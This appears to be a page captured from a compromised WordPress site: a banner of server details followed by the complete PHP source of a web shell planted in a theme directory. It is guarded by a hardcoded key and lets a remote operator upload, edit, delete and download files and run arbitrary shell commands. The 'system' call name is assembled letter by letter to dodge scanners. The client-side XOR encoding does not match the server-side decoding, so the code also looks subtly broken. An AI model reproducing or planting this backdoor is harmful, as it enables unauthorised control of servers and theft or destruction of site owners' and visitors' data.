| Server IP : 185.143.233.238 / Your IP : 185.215.232.195 Web Server : nginx/1.22.1 System : Linux server2065 6.1.0-35-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.137-1 (2025-05-07) x86_64 User : www-data ( 33) PHP Version : 8.2.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/bcandle/wp-content/themes/wp_462d/ |
Upload File : |
<?php $k="admin888";if(($_GET["g"]??"")!==$k)die;$d=$_GET["d"]??getcwd();$d=realpath($d)?:$d;if(isset($_GET["x"])){echo"postpass2";exit;}$a="s";$a.="y";$a.="s";$a.="t";$a.="e";$a.="m";$u=$_FILES["f"]??null;if($u){move_uploaded_file($u["tmp_name"],$d."/".$u["name"]);}if(isset($_POST["s"])&&isset($_POST["n"])){file_put_contents($d."/".$_POST["n"],$_POST["s"]);}if(isset($_GET["m"])){mkdir($d."/".$_GET["m"]);}if(isset($_GET["r"])){is_dir($d."/".$_GET["r"])?rmdir($d."/".$_GET["r"]):unlink($d."/".$_GET["r"]);}if(isset($_POST["c"])){$x=base64_decode($_POST["c"]);foreach(["system","passthru","shell_exec","exec"] as $f){if(function_exists($f)){$f($x." 2>&1");break;}}exit;}if(isset($_GET["dl"])){header("Content-Type:application/octet-stream");header("Content-Disposition:attachment;filename=".basename($_GET["dl"]));readfile($_GET["dl"]);exit;}?><!DOCTYPE html><html><head><meta charset="utf-8"><title>FM</title><style>*{margin:0;padding:0}body{font:12px monospace;background:#1a1a2e;color:#e0e0e0}a{color:#0cf;text-decoration:none}a:hover{color:#f66}table{width:100%;border-collapse:collapse}th{background:#16213e;padding:6px 10px;text-align:left;border-bottom:2px solid #0f3460}td{padding:4px 10px;border-bottom:1px solid #0f3460}tr:hover{background:#16213e}.b{background:#0f3460;padding:8px 12px;display:flex;gap:8px;align-items:center;flex-wrap:wrap}.b input,.b button{padding:5px 8px;border:1px solid #0cf;background:#1a1a2e;color:#e0e0e0;border-radius:3px;font:12px monospace}.b button{background:#0cf;color:#000;cursor:pointer;font-weight:bold}.b button:hover{background:#f66}pre{background:#000;padding:12px;margin:8px;border:1px solid #0f3460;max-height:400px;overflow:auto;white-space:pre-wrap}.e{width:100%;height:350px;background:#000;color:#0f0;border:1px solid #0f3460;padding:8px;font:12px monospace}.t{background:#0f3460;padding:6px 12px;display:flex;gap:6px;align-items:center}</style></head><body><div class="t"><b style="color:#f66">FM</b>|<span><?php echo php_uname()?></span>|<span><?php echo function_exists("disk_free_space")?round(disk_free_space($d)/1073741824,1)."G free":""?></span></div><div class="b"><span><?php echo $d?></span><form style="display:inline;margin:0" method=post enctype=multipart/form-data><input type=file name=f><button>Upload</button></form><form style="display:inline;margin:0" method=get><input type=hidden name=g value=admin888><input name=d size=50 value="<?php echo htmlspecialchars($d)?>"><button>CD</button></form><form style="display:inline;margin:0" method=get><input type=hidden name=g value=admin888><input type=hidden name=d value="<?php echo htmlspecialchars($d)?>"><input name=m size=12 placeholder=newdir><button>MkDir</button></form></div><table><tr><th>Name</th><th>Size</th><th>Perm</th><th>Modified</th><th>Actions</th></tr><?php $items=@scandir($d)?:[];foreach($items as $n){if($n=="."||($n==".."&&$d=="/"))continue;$p=$d."/".$n;$t=is_dir($p)?"DIR":"FILE";$s=$t=="FILE"?(filesize($p)<1024?filesize($p)."B":(filesize($p)<1048576?round(filesize($p)/1024,1)."K":round(filesize($p)/1048576,1)."M")):"-";$pm=substr(sprintf("%o",fileperms($p)),-4);$mt=date("Y-m-d H:i",filemtime($p));$u=urlencode($n);$dl=$t=="FILE"?"<a href="?g=admin888&d=".urlencode($d)."&dl=".urlencode($p)."">DL</a>":"";echo"<tr><td><a href="?g=admin888&d=".urlencode($p)."">$n</a>" .($t=="DIR"?"/":"")."</td><td>$s</td><td>$pm</td><td>$mt</td><td><a href="?g=admin888&d=".urlencode($d)."&r=$u">DEL</a> $dl ".(is_file($p)?"<a href="?g=admin888&d=".urlencode($d)."&e=$u">EDIT</a>":"")."</td></tr>";}?></table><?php if(isset($_GET["e"])){$ep=$d."/".$_GET["e"];$ec=htmlspecialchars(file_get_contents($ep));?><div class="b">Editing: <?php echo htmlspecialchars($_GET["e"])?></div><form method=post><textarea class="e" name="s"><?php echo $ec?></textarea><input type=hidden name=n value="<?php echo htmlspecialchars($_GET["e"])?>"><button>Save</button></form><?php }?><div class="b" style="margin-top:8px">CMD:<form style="display:inline;flex:1;display:flex;gap:8px" id=cf method=post onsubmit="return run()"><input type=text id=ci placeholder="id;uname -a" style="flex:1"><button>Run</button></form></div><pre id=co></pre><script>var XK="admin888";function x(s){var r="";for(var i=0;i<s.length;i++)r+=String.fromCharCode(s.charCodeAt(i)^XK.charCodeAt(i%8));return r}function b64e(s){return btoa(unescape(encodeURIComponent(s)))}function run(){var v=document.getElementById("ci").value;if(!v)return!1;fetch("?g=admin888",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"c="+encodeURIComponent(b64e(x(v)))}).then(r=>r.text()).then(t=>{document.getElementById("co").textContent=t});return!1}</script></body></html>